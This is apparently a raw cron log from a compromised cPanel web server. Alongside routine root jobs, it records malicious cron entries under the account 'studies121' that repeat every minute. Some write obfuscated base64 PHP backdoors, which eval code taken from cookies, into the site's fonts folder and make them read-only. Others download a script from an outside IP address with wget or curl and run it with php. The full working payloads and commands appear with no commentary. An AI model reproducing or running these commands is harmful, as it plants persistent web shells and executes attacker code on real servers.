Sep 11 00:56:01 ip-184-168-122-23 CROND[4650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:56:01 ip-184-168-122-23 CROND[4649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:56:01 ip-184-168-122-23 CROND[4651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:56:01 ip-184-168-122-23 CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:57:01 ip-184-168-122-23 CROND[4739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:57:01 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:57:01 ip-184-168-122-23 CROND[4743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:57:01 ip-184-168-122-23 CROND[4741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:58:01 ip-184-168-122-23 CROND[4851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:58:01 ip-184-168-122-23 CROND[4853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:58:01 ip-184-168-122-23 CROND[4852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:58:01 ip-184-168-122-23 CROND[4856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:58:01 ip-184-168-122-23 CROND[4857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:59:01 ip-184-168-122-23 CROND[4941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:59:01 ip-184-168-122-23 CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:59:01 ip-184-168-122-23 CROND[4943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:59:01 ip-184-168-122-23 CROND[4944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:00:01 ip-184-168-122-23 CROND[5025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:00:01 ip-184-168-122-23 CROND[5027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:00:01 ip-184-168-122-23 CROND[5028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:00:01 ip-184-168-122-23 CROND[5031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:00:01 ip-184-168-122-23 CROND[5033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:00:01 ip-184-168-122-23 CROND[5036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:00:01 ip-184-168-122-23 CROND[5035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:00:01 ip-184-168-122-23 CROND[5038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:01:01 ip-184-168-122-23 CROND[5131]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 01:01:01 ip-184-168-122-23 CROND[5132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:01:01 ip-184-168-122-23 CROND[5133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:01:01 ip-184-168-122-23 CROND[5134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:01:01 ip-184-168-122-23 CROND[5137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:01:01 ip-184-168-122-23 CROND[5136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5131]: starting 0anacron
Sep 11 01:01:01 ip-184-168-122-23 anacron[5151]: Anacron started on 2026-09-11
Sep 11 01:01:01 ip-184-168-122-23 anacron[5151]: Normal exit (0 jobs run)
Sep 11 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5154]: finished 0anacron
Sep 11 01:02:01 ip-184-168-122-23 CROND[5321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:02:01 ip-184-168-122-23 CROND[5322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:02:01 ip-184-168-122-23 CROND[5325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:02:01 ip-184-168-122-23 CROND[5326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:02:01 ip-184-168-122-23 CROND[5327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:03:01 ip-184-168-122-23 CROND[5408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:03:01 ip-184-168-122-23 CROND[5410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:03:01 ip-184-168-122-23 CROND[5411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:03:01 ip-184-168-122-23 CROND[5414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:04:01 ip-184-168-122-23 CROND[5496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:04:01 ip-184-168-122-23 CROND[5499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:04:01 ip-184-168-122-23 CROND[5500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:04:01 ip-184-168-122-23 CROND[5498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:04:01 ip-184-168-122-23 CROND[5501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:05:01 ip-184-168-122-23 CROND[5609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:05:01 ip-184-168-122-23 CROND[5610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:05:02 ip-184-168-122-23 CROND[5615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:05:02 ip-184-168-122-23 CROND[5616]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:05:02 ip-184-168-122-23 CROND[5614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:05:02 ip-184-168-122-23 CROND[5620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:05:02 ip-184-168-122-23 CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:06:02 ip-184-168-122-23 CROND[5715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:06:02 ip-184-168-122-23 CROND[5719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:06:02 ip-184-168-122-23 CROND[5717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:06:02 ip-184-168-122-23 CROND[5718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:06:02 ip-184-168-122-23 CROND[5720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:07:01 ip-184-168-122-23 CROND[5886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:07:01 ip-184-168-122-23 CROND[5889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:07:01 ip-184-168-122-23 CROND[5888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:07:01 ip-184-168-122-23 CROND[5890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:08:01 ip-184-168-122-23 CROND[5975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:08:01 ip-184-168-122-23 CROND[5977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
